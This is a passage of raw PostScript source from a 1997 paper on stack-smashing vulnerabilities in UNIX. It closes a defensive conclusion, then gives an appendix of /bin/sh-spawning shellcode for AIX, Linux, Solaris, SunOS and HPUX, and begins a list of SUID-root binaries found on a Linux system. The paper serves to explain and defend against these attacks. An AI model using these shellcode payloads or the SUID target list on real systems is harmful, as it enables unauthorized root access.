0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6695 5335 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6871 5335 M (lower ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7297 5335 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5059 M (possibilities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2069 5059 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2280 5059 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2694 5059 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3395 5059 M (vulnerability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4316 5059 M (exploits. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4998 5059 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5486 5059 M (vendors ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6085 5059 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6388 5059 M (do ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6626 5059 M (their ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7003 5059 M (part ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7334 5059 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4783 M (making ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1744 4783 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1860 4783 M (commitment ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2744 4783 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2915 4783 M (be ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3114 4783 M (very ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3452 4783 M (cautious ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4048 4783 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4385 4783 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5101 4783 M (binaries ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5670 4783 M (installed ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6275 4783 M (by ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6483 4783 M (default ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6987 4783 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7195 4783 M (their ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4507 M (specific ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1789 4507 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2272 4507 M (distribution. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3189 4507 M (Lastly ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3672 4507 M (but ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3951 4507 M (perhaps ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4536 4507 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4806 4507 M (most ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5197 4507 M (effective ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5847 4507 M (solution ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6449 4507 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6747 4507 M (come ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7175 4507 M (from ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4231 M (programmers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2155 4231 M (who ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2506 4231 M (write ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2913 4231 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3652 4231 M (code. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4115 4231 M (As ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4365 4231 M (standards ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5059 4231 M (evolve ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5567 4231 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5872 4231 M (are ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6141 4231 M (accepted ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6788 4231 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7048 4231 M (coding ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3955 M (safer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1600 3955 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2340 3955 M (programs ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3036 3955 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3342 3955 M (creating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3944 3955 M (more ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4353 3955 M (secure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4845 3955 M (operating ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5539 3955 M (systems) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 6067 3996 M (16) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6205 3955 M (, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6313 3955 M (programmers ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7269 3955 M (can ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3679 M (develop ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1781 3679 M (more ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2177 3679 M (robust ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2646 3679 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3013 3679 M (which ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3472 3679 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3636 3679 M (less ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3939 3679 M (susceptible ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4731 3679 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4913 3679 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5308 3679 M (smashing. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6074 3679 M (With ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6459 3679 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6715 3679 M (cooperation ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3403 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1449 3403 M (many ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1924 3403 M (people ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2472 3403 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2706 3403 M (different ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3385 3403 M (parts ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3814 3403 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4058 3403 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4366 3403 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4887 3403 M (community, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5792 3403 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6239 3403 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6973 3403 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3127 M (vulnerabilities can be defeated. ) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 30 30 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1960 9823 M (Appendix A - Shellcode for Operating Systems/Architectures) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9278 M (AIX Shell Code) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 9142 M (unsigned int code[]={) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9037 M (0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8932 M (0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8827 M (0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8722 M (0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8617 M (0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8512 M (0x7c0903a6 , 0x4e800420, 0x0) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8407 M (}; ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8142 M (/* disassembly) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8037 M (7c0802a6 mfspr r0,LR) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7932 M (9421fbb0 stu SP,-1104\(SP\) --get stack) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7827 M (90010458 st r0,1112\(SP\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7722 M (3c60f019 cau r3,r0,0xf019 --CTR) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7617 M (60632c48 lis r3,r3,11336 --CTR) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7512 M (90610440 st r3,1088\(SP\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7407 M (3c60d002 cau r3,r0,0xd002 --TOC) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7302 M (60634c0c lis r3,r3,19468 --TOC) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7197 M (90610444 st r3,1092\(SP\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7092 M (3c602f62 cau r3,r0,0x2f62 --'/bin/sh\\x01') ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6987 M (6063696e lis r3,r3,26990) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6882 M (90610438 st r3,1080\(SP\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6777 M (3c602f73 cau r3,r0,0x2f73) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6672 M (60636801 lis r3,r3,26625) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6567 M (3863ffff addi r3,r3,-1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6462 M ( 9061043c st r3,1084\(SP\) --terminate with 0) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6357 M (30610438 lis r3,SP,1080) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6252 M (7c842278 xor r4,r4,r4 --argv=NULL ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6147 M (80410440 lwz RTOC,1088\(SP\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6042 M (80010444 lwz r0,1092\(SP\) --jump) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5937 M (7c0903a6 mtspr CTR,r0) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5832 M (4e800420 bctr --jump) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5727 M (*/ ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 5373 M (i386/Linux) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 5237 M (jmp 0x1f) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5132 M ( popl %esi) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5027 M ( movl %esi,0x8\(%esi\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4922 M ( xorl %eax,%eax) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4817 M ( movb %eax,0x7\(%esi\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4712 M ( movl %eax,0xc\(%esi\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4607 M ( movb $0xb,%al) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4502 M ( movl %esi,%ebx) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4397 M ( leal 0x8\(%esi\),%ecx) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4292 M ( leal 0xc\(%esi\),%edx) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4187 M ( int $0x80) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4082 M ( xorl %ebx,%ebx) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3977 M ( movl %ebx,%eax) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3872 M ( inc %eax) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3767 M ( int $0x80) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3662 M ( call -0x24) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 3557 M ( .string \\"/bin/sh\\") ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 3203 M (SPARC/Solaris) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1700 3067 M (sethi 0xbd89a, %l6) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2962 M ( or %l6, 0x16e, %l6) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2857 M ( sethi 0xbdcda, %l7) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2752 M ( and %sp, %sp, %o0) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2647 M ( add %sp, 8, %o1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2542 M ( xor %o2, %o2, %o2) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2437 M ( add %sp, 16, %sp) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2332 M ( std %l6, [%sp - 16]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2227 M ( st %sp, [%sp - 8]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2122 M ( st %g0, [%sp - 4]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 2017 M ( mov 0x3b, %g1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1912 M ( ta 8) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1807 M ( xor %o7, %o7, %o0) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1702 M ( mov 1, %g1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 1597 M ( ta 8) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 31 31 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 9823 M (SPARC/SunOS) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1700 9687 M (sethi 0xbd89a, %l6) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9582 M ( or %l6, 0x16e, %l6) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9477 M ( sethi 0xbdcda, %l7) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9372 M ( and %sp, %sp, %o0) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9267 M ( add %sp, 8, %o1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9162 M ( xor %o2, %o2, %o2) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9057 M ( add %sp, 16, %sp) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8952 M ( std %l6, [%sp - 16]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8847 M ( st %sp, [%sp - 8]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8742 M ( st %g0, [%sp - 4]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8637 M ( mov 0x3b, %g1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8532 M ( mov -0x1, %l5) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8427 M ( ta %l5 + 1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8322 M ( xor %o7, %o7, %o0) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8217 M ( mov 1, %g1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8112 M ( ta %l5 + 1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 7758 M (HPUX) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 7622 M (strcpy\ \(buf,"\ \\x41\ \\x41\\x34\\x01\\x01\\x02\\x08\\x22\\x04\\x01\\x60\\x20\\x02\\xa6\\x60\\x20\\x02) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7517 M (\\xac\ \\xb4\ \\x3a\ \\x02\ \\x98\\x34\\x16\\x01\\x76\\x34\\x01\\x02\\x76\\x08\\x36\\x02\\x16\\x08\\x21\\x02) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7412 M (\\x80\ \\x20\ \\x20\ \\x08\ \\x01\\xe4\\x20\\xe0\\x08\\x08\\x21\\x02\\x80\\x43\\x43\\x43\\x43\\x43\\x43\\x43) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7307 M (\\x43\ \\x43\ \\x43\ \\x43\ \\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7202 M (\\x43\ \\x43\ \\x43\ \\x43\ \\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7097 M (\\x43\ \\x43\ \\x43\ \\x43\ \\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6992 M (\\x43\ \\x43\ \\x43\ \\x43\ \\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6887 M (\\x43\ \\x43\ \\x43\ \\x43\ \\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6782 M (\\x43\ \\x43\ \\x43\ \\x43\ \\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6677 M (\\x43\ \\x43\ \\x43\ \\x43\ \\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x43) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6572 M (\\x43\ \\x43\ \\x43\ \\x43\ \\x43\\x43\\x43\\x43\\x43\\x43\\x43\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x2e\\x2d) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6467 M (\\x69\\x2e\\x44\\x44\\x44\\x44\\x44\\x7b\\x03\\x30\\x1b"\);) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 4349 6467 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4325 6324 M ( ) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 32 32 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 2403 9823 M (Appendix B - SUID root programs by distribution) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p120000 SETFONT GS n 1450 9380 M (Linux - 2.0.30 #4 Mon May 5 16:40:11 EDT 1997 i586) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1700 9168 M (root@-:~ >find / -user root -perm -004000 -print ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8980 M (/usr/bin/fdmount) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8792 M (/usr/bin/at) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8604 M (/usr/bin/crontab) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8416 M (/usr/bin/splitvt) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8228 M (/usr/bin/chsh) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 8040 M (/usr/bin/newgrp) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7852 M (/usr/bin/passwd) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7664 M (/usr/bin/chfn) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7476 M (/usr/bin/sudo.bin) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7288 M (/usr/bin/procmail) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 7100 M (/usr/bin/lpq) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 6912 M (/usr/bin/lpr) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 6724 M (/usr/bin/lprm) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 6536 M (/usr/bin/rcp) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 6348 M (/usr/bin/rlogin) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 6160 M (/usr/bin/rsh) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 5972 M (/usr/bin/traceroute.old) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 5784 M (/usr/lib/mc/bin/cons.saver) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 5596 M (/usr/lib/svgalib/fun) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 5408 M (/usr/lib/svgalib/mousetest) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 5220 M (/usr/lib/svgalib/scrolltest) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 5032 M (/usr/lib/svgalib/speedtest) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 4844 M (/usr/lib/svgalib/testgl) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 4656 M (/usr/lib/svgalib/testlinear) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 4468 M (/usr/lib/svgalib/vgatest) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 4280 M (/usr/lib/svgalib/3d) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 4092 M (/usr/lib/svgalib/keytest) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3904 M (/usr/lib/svgalib/accel) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3716 M (/usr/lib/svgalib/eventtest) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3528 M (/usr/lib/svgalib/forktest) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3340 M (/usr/lib/svgalib/testaccel) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 3152 M (/usr/lib/newsbin/setnewsids) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2964 M (/usr/local/bin/ssh) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2776 M (/usr/local/bin/sudo) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2588 M (/usr/local/bin/screen-3.7.1) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2400 M (/usr/local/bin/dumpreg) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2212 M (/usr/local/bin/restorefont) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 2024 M (/usr/local/bin/restorepalette) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1700 1836 M (/usr/local/bin/restoretextmode) ST GR 0.0000 